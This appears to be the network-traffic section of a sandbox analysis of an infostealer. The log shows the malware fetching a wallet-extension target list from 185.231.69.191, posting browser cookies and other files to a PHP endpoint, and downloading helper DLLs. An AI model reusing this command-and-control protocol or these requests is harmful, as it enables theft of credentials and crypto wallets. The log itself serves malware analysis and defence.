Dec 24, 2024 14:02:03.569755077 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 13:02:03 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Dec 24, 2024 14:02:03.618765116 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Dec 24, 2024 14:02:03.674005032 CET	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Dec 24, 2024 14:02:03.676474094 CET	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Dec 24, 2024 14:02:03.689291000 CET	1236	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Dec 24, 2024 14:02:03.738437891 CET	1164	IN	Data Raw: 56 32 46 73 62 47 56 30 66 47 68 6c 5a 57 5a 76 61 47 46 6d 5a 6d 39 74 61 32 74 72 63 47 68 75 62 48 42 76 61 47 64 73 62 6d 64 74 59 6d 4e 6a 62 47 68 70 66 44 46 38 4d 48 77 77 66 46 68 32 5a 58 4a 7a 5a 53 42 58 59 57 78 73 5a 58 52 38 61 57 Data Ascii: V2FsbGV0fGhlZWZvaGFmZm9ta2trcGhubHBvaGdsbmdtYmNjbGhpfDF8MHwwfFh2ZXJzZSBXYWxsZXR8aWRubmJkcGxtcGhwZmxmbmxrb21ncGZicGNnZWxvcGd8MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGp
Dec 24, 2024 14:02:03.740307093 CET	469	OUT	POST /f190e2808a5419c3.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDAKJKEHDBGHIDHIEHDB Host: 185.231.69.191 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 41 4b 4a 4b 45 48 44 42 47 48 49 44 48 49 45 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 36 32 65 34 61 34 37 37 39 35 37 63 66 32 30 62 64 31 33 66 36 36 34 37 65 62 61 35 65 34 34 31 62 31 35 36 38 39 33 65 36 33 35 39 61 65 66 30 39 61 63 39 34 61 64 61 64 32 36 32 37 36 32 62 37 64 63 66 66 38 37 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 4b 4a 4b 45 48 44 42 47 48 49 44 48 49 45 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 4b 4a 4b 45 48 44 42 47 48 49 44 48 49 45 48 44 42 2d 2d 0d 0a Data Ascii: ------IDAKJKEHDBGHIDHIEHDBContent-Disposition: form-data; name="token"e62e4a477957cf20bd13f6647eba5e441b156893e6359aef09ac94adad262762b7dcff87------IDAKJKEHDBGHIDHIEHDBContent-Disposition: form-data; name="message"fplugins------IDAKJKEHDBGHIDHIEHDB--
Dec 24, 2024 14:02:04.148128033 CET	335	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 13:02:03 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Dec 24, 2024 14:02:04.164907932 CET	202	OUT	POST /f190e2808a5419c3.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGDBFIIECBGDGDGDHCAK Host: 185.231.69.191 Content-Length: 6359 Connection: Keep-Alive Cache-Control: no-cache
Dec 24, 2024 14:02:04.164968967 CET	6359	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 47 44 42 46 49 49 45 43 42 47 44 47 44 47 44 48 43 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 36 32 65 34 61 Data Ascii: ------EGDBFIIECBGDGDGDHCAKContent-Disposition: form-data; name="token"e62e4a477957cf20bd13f6647eba5e441b156893e6359aef09ac94adad262762b7dcff87------EGDBFIIECBGDGDGDHCAKContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Dec 24, 2024 14:02:05.003946066 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 13:02:04 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 24, 2024 14:02:05.253906965 CET	93	OUT	GET /ec05bb5a9eb90166/sqlite3.dll HTTP/1.1 Host: 185.231.69.191 Cache-Control: no-cache
Dec 24, 2024 14:02:05.645164967 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 13:02:05 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 14:30:30 GMT ETag: "10e436-5e7eeebed8d80" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Dec 24, 2024 14:02:05.645271063 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Dec 24, 2024 14:02:05.649486065 CET	1236	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q
Dec 24, 2024 14:02:05.649601936 CET	1236	IN	Data Raw: c0 5d c3 55 89 e5 8b 45 08 85 c0 74 07 5d ff 25 78 66 eb 61 5d c3 55 b8 08 00 00 00 89 e5 5d c3 55 31 c0 89 e5 5d c3 55 89 e5 83 ec 18 89 04 24 ff 15 4c 66 eb 61 c9 c3 55 89 e5 83 ec 18 8b 4d 08 85 c9 74 0c 89 0c 24 ff 15 4c 66 eb 61 99 eb 04 31 Data Ascii: ]UEt]%xfa]U]U1]U$LfaUMt$Lfa11UtBtRJ$~HD]UUtB]U1UtB]U1UtJtBB]JvYU@aSuK?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49748	185.231.69.191	80	4512	C:\Users\user\Desktop\gYjK72gL17.exe

Timestamp	Bytes transferred	Direction	Data
Dec 24, 2024 14:02:14.828195095 CET	620	OUT	POST /f190e2808a5419c3.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBKKFCBAKKFBGCBFHJDG Host: 185.231.69.191 Content-Length: 419 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 42 4b 4b 46 43 42 41 4b 4b 46 42 47 43 42 46 48 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 36 32 65 34 61 34 37 37 39 35 37 63 66 32 30 62 64 31 33 66 36 36 34 37 65 62 61 35 65 34 34 31 62 31 35 36 38 39 33 65 36 33 35 39 61 65 66 30 39 61 63 39 34 61 64 61 64 32 36 32 37 36 32 62 37 64 63 66 66 38 37 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 4b 46 43 42 41 4b 4b 46 42 47 43 42 46 48 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 79 35 30 65 48 51 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 4b 46 43 42 41 4b 4b 46 42 47 43 42 46 48 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 [TRUNCATED] Data Ascii: ------DBKKFCBAKKFBGCBFHJDGContent-Disposition: form-data; name="token"e62e4a477957cf20bd13f6647eba5e441b156893e6359aef09ac94adad262762b7dcff87------DBKKFCBAKKFBGCBFHJDGContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lXy50eHQ=------DBKKFCBAKKFBGCBFHJDGContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------DBKKFCBAKKFBGCBFHJDG--
Dec 24, 2024 14:02:16.346497059 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 13:02:15 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 24, 2024 14:02:16.442835093 CET	564	OUT	POST /f190e2808a5419c3.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKECBFCGIEGCBGCAECGC Host: 185.231.69.191 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 45 43 42 46 43 47 49 45 47 43 42 47 43 41 45 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 36 32 65 34 61 34 37 37 39 35 37 63 66 32 30 62 64 31 33 66 36 36 34 37 65 62 61 35 65 34 34 31 62 31 35 36 38 39 33 65 36 33 35 39 61 65 66 30 39 61 63 39 34 61 64 61 64 32 36 32 37 36 32 62 37 64 63 66 66 38 37 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 43 42 46 43 47 49 45 47 43 42 47 43 41 45 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 43 42 46 43 47 49 45 47 43 42 47 43 41 45 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------KKECBFCGIEGCBGCAECGCContent-Disposition: form-data; name="token"e62e4a477957cf20bd13f6647eba5e441b156893e6359aef09ac94adad262762b7dcff87------KKECBFCGIEGCBGCAECGCContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KKECBFCGIEGCBGCAECGCContent-Disposition: form-data; name="file"------KKECBFCGIEGCBGCAECGC--
Dec 24, 2024 14:02:17.113708019 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 13:02:16 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49787	185.231.69.191	80	4512	C:\Users\user\Desktop\gYjK72gL17.exe

Timestamp	Bytes transferred	Direction	Data
Dec 24, 2024 14:02:29.338788033 CET	564	OUT	POST /f190e2808a5419c3.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCGHJEBGHJKEBFHIJDHC Host: 185.231.69.191 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 43 47 48 4a 45 42 47 48 4a 4b 45 42 46 48 49 4a 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 36 32 65 34 61 34 37 37 39 35 37 63 66 32 30 62 64 31 33 66 36 36 34 37 65 62 61 35 65 34 34 31 62 31 35 36 38 39 33 65 36 33 35 39 61 65 66 30 39 61 63 39 34 61 64 61 64 32 36 32 37 36 32 62 37 64 63 66 66 38 37 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 48 4a 45 42 47 48 4a 4b 45 42 46 48 49 4a 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 48 4a 45 42 47 48 4a 4b 45 42 46 48 49 4a 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------GCGHJEBGHJKEBFHIJDHCContent-Disposition: form-data; name="token"e62e4a477957cf20bd13f6647eba5e441b156893e6359aef09ac94adad262762b7dcff87------GCGHJEBGHJKEBFHIJDHCContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------GCGHJEBGHJKEBFHIJDHCContent-Disposition: form-data; name="file"------GCGHJEBGHJKEBFHIJDHC--
Dec 24, 2024 14:02:30.714119911 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 13:02:30 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 24, 2024 14:02:31.542896986 CET	93	OUT	GET /ec05bb5a9eb90166/freebl3.dll HTTP/1.1 Host: 185.231.69.191 Cache-Control: no-cache
Dec 24, 2024 14:02:31.933259964 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 13:02:31 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "a7550-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Dec 24, 2024 14:02:31.933324099 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Dec 24, 2024 14:02:31.933361053 CET	1236	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Dec 24, 2024 14:02:31.933418036 CET	1236	IN	Data Raw: 55 89 e5 53 57 56 83 ec 24 8b 4d 1c 8b 75 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 7d 08 8d 59 f8 83 f9 10 75 32 8d 45 dc 8d 4d e0 6a 10 ff 75 18 6a 10 50 51 57 e8 f7 93 06 00 83 c4 18 89 c7 8d 75 e8 83 45 dc f8 c7 45 d8 00 00 00 00 85 ff 0f 85 b4 01 Data Ascii: USWV$Mu01E}Yu2EMjujPQWuEEC1;]vS{EE1uuSPVEPo9]SUYY)ZYEME]M)19D
Dec 24, 2024 14:02:31.933509111 CET	896	IN	Data Raw: 00 00 00 0f 57 c8 0f 11 8c 0e 9c 00 00 00 83 c1 20 83 c3 fe 75 a6 eb 02 31 c9 f6 c2 01 74 28 0f 10 04 0f 0f 10 4c 0e 0c 0f 57 c8 0f 10 84 0e 8c 00 00 00 0f 11 4c 0e 0c 0f 10 0c 0f 0f 57 c8 0f 11 8c 0e 8c 00 00 00 31 db 8b 55 ac 39 c2 74 6b f6 c2 Data Ascii: W u1t(LWLW1U9tkt0T0U19t<f.0L0L0LL09uM17L^_[]USWVh1
Dec 24, 2024 14:02:31.933545113 CET	1236	IN	Data Raw: 10 ff 75 14 ff 75 10 53 56 ff d1 83 c4 10 31 c0 83 c4 04 5e 5f 5b 5d c3 cc cc cc cc 55 89 e5 53 57 56 50 68 0c 01 00 00 e8 fe f9 07 00 83 c4 04 31 ff 85 c0 74 71 89 c6 8b 5d 08 c7 40 08 01 00 00 00 8b 43 04 89 46 04 8b 03 89 45 f0 8b 43 04 8b 48 Data Ascii: uuSV1^_[]USWVPh1tq]@CFECHut7FKSrQP;KqSPVi^_[]UhV1]Uh6]
